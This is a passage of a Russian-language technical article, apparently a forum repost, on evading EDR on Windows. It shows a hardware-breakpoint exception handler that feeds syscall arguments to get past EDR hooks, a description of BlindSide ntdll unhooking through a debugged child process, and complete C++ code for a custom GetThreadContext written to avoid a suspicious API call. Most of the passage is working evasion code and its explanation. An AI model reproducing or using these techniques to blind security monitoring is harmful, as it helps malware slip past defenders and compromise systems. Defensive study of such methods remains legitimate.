(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ZeroBits;
break;
case NTUNMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtUnmapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtUnmapViewOfSectionArgs*)(StateArray[EnumState].arguments))->BaseAddress;
break;
case NTOPENSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtOpenSectionArgs*)(StateArray[EnumState].arguments))->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtOpenSectionArgs*)(StateArray[EnumState].arguments))->DesiredAccess;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtOpenSectionArgs*)(StateArray[EnumState].arguments))->ObjectAttributes;
break;
// You have messed up by not providing the indexed state
default:
ExceptionInfo->ContextRecord->Rip += 1; // Just so we don’t hang
break;
}
return EXCEPTION_CONTINUE_EXECUTION;
}
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
Сначала эта функция проверяет, что исключение действительно хардверное. Для этого происходит сравнение со значением STATUS_SINGLE_STEP, об этой проверке я рассказывал выше.
Далее система проверяет, что хардверный брейк‑пойнт был включен (должно быть значение 1 у Dp7). Следующим шагом из регистра Rax извлекается номер сискола, который был туда занесен. После чего проверяем, что адрес следующей выполняемой инструкции (syscall) действительно лежит в Dp0, то есть установленный на нее бряк действительно сработал. После чего HWBP снимается и начинается проверка значения EnumState, которое инициализировали ранее. Это нужно для корректной инициализации всех параметров функции. Если все прошло успешно, срабатывает бряк, а за ним — EXCEPTION_CONTINUE_EXECUTION, что приводит к выполнению сискола с нужными нам параметрами. Фактически мы «пробрасываем параметры» в обход EDR.
Похожая техника применяется и в Для просмотра ссылки Войди
Анхукинг
Хардверные бряки — очень полезная штука! Их можно использовать и для снятия хуков в юзермоде. Для этого нужно предварительно создать дочерний процесс, став для него дебаггером. После этого установить HWBP на функцию LdrLoadDll(). Эта функция вызывается при загрузке DLL в процесс, на ее основе я написал собственную LoadLibrary() — подробнее в статье «Для просмотра ссылки ВойдиДалее остается лишь проверять имена загружаемых DLL, разрешая подгрузку только ntdll.dll. Убедившись, что отлаживаемый процесс загрузил ntdll.dll, мы копируем ее содержимое в свой собственный процесс и перезаписываем ntdll.dll нашего текущего процесса, что и приводит к анхукингу. Техника называется BlindSide, существует готовый Для просмотра ссылки Войди

Пишем кастомный GetThreadContext()
Мне кажется, мы недостаточно хорошо прошлись по параметрам, которые прилетают в функцию‑обработчик. Что ж, исправляюсь. Функция‑обработчик принимает структуру Для просмотра ссылки ВойдиМы можем использовать эти данные для получения структуры CONTEXT, чтобы избежать подозрительной функции GetThreadContext(). Вот пример кода.
Код:
#include <iostream>
#include <Windows.h>
#ifdef _WIN64
void ShowContext(CONTEXT ctx) {
std::cout << "Context values:" << std::endl;
std::cout << "P1Home: " << ctx.P1Home << std::endl;
std::cout << "P2Home: " << ctx.P2Home << std::endl;
std::cout << "P3Home: " << ctx.P3Home << std::endl;
std::cout << "P4Home: " << ctx.P4Home << std::endl;
std::cout << "P5Home: " << ctx.P5Home << std::endl;
std::cout << "P6Home: " << ctx.P6Home << std::endl;
std::cout << "ContextFlags: " << ctx.ContextFlags << std::endl;
std::cout << "MxCsr: " << ctx.MxCsr << std::endl;
std::cout << "SegCs: " << ctx.SegCs << std::endl;
std::cout << "SegDs: " << ctx.SegDs << std::endl;
std::cout << "SegEs: " << ctx.SegEs << std::endl;
std::cout << "SegFs: " << ctx.SegFs << std::endl;
std::cout << "SegGs: " << ctx.SegGs << std::endl;
std::cout << "SegSs: " << ctx.SegSs << std::endl;
std::cout << "EFlags: " << ctx.EFlags << std::endl;
std::cout << "Dr0: " << ctx.Dr0 << std::endl;
std::cout << "Dr1: " << ctx.Dr1 << std::endl;
std::cout << "Dr2: " << ctx.Dr2 << std::endl;
std::cout << "Dr3: " << ctx.Dr3 << std::endl;
std::cout << "Dr6: " << ctx.Dr6 << std::endl;
std::cout << "Dr7: " << ctx.Dr7 << std::endl;
std::cout << "Rax: " << ctx.Rax << std::endl;
std::cout << "Rcx: " << ctx.Rcx << std::endl;
std::cout << "Rdx: " << ctx.Rdx << std::endl;
std::cout << "Rbx: " << ctx.Rbx << std::endl;
std::cout << "Rsp: " << ctx.Rsp << std::endl;
std::cout << "Rbp: " << ctx.Rbp << std::endl;
std::cout << "Rsi: " << ctx.Rsi << std::endl;
std::cout << "Rdi: " << ctx.Rdi << std::endl;
std::cout << "R8: " << ctx.R8 << std::endl;
std::cout << "R9: " << ctx.R9 << std::endl;
std::cout << "R10: " << ctx.R10 << std::endl;
std::cout << "R11: " << ctx.R11 << std::endl;
std::cout << "R12: " << ctx.R12 << std::endl;
std::cout << "R13: " << ctx.R13 << std::endl;
std::cout << "R14: " << ctx.R14 << std::endl;
std::cout << "R15: " << ctx.R15 << std::endl;
std::cout << "Rip: " << ctx.Rip << std::endl;
}
#endif
void ShowContext32(CONTEXT ctx) {
std::cout << "Context values:" << std::endl;
std::cout << "ContextFlags: " << ctx.ContextFlags << std::endl;
std::cout << "Dr0: " << ctx.Dr0 << std::endl;
std::cout << "Dr1: " << ctx.Dr1 << std::endl;
std::cout << "Dr2: " << ctx.Dr2 << std::endl;
std::cout << "Dr3: " << ctx.Dr3 << std::endl;
std::cout << "Dr6: " << ctx.Dr6 << std::endl;
std::cout << "Dr7: " << ctx.Dr7 << std::endl;
std::cout << "SegGs: " << ctx.SegGs << std::endl;
std::cout << "SegFs: " << ctx.SegFs << std::endl;
std::cout << "SegEs: " << ctx.SegEs << std::endl;
std::cout << "SegDs: " << ctx.SegDs << std::endl;
std::cout << "Edi: " << ctx.Edi << std::endl;
std::cout << "Esi: " << ctx.Esi << std::endl;
std::cout << "Ebx: " << ctx.Ebx << std::endl;
std::cout << "Edx: " << ctx.Edx << std::endl;
std::cout << "Ecx: " << ctx.Ecx << std::endl;
std::cout << "Eax: " << ctx.Eax << std::endl;
std::cout << "Ebp: " << ctx.Ebp << std::endl;
std::cout << "Eip: " << ctx.Eip << std::endl;
std::cout << "SegCs: " << ctx.SegCs << std::endl;
std::cout << "EFlags: " << ctx.EFlags << std::endl;
std::cout << "Esp: " << ctx.Esp << std::endl;
std::cout << "SegSs: " << ctx.SegSs << std::endl;
}
LONG WINAPI Handler(PEXCEPTION_POINTERS ExceptionInfo) {
std::cout << "[+] GetThreadContext Result:" << std::endl;
static int value = 0;
value += 1;
#ifdef _WIN64
PCONTEXT ctx = ExceptionInfo->ContextRecord;
ShowContext(*ctx);
#else
PCONTEXT ctx = ExceptionInfo->ContextRecord;
ShowContext32(*ctx);
#endif
if (value == 2) {
value = 0;
return EXCEPTION_CONTINUE_SEARCH;
}
else {
return EXCEPTION_CONTINUE_EXECUTION;
}
}
void CustomGetThreadContext() {
AddVectoredExceptionHandler(1, Handler);
try {
throw "exception";
}
catch (...) {
RemoveVectoredExceptionHandler(Handler);
return;
}
}
int main() {
CustomGetThreadContext();
return 0;
}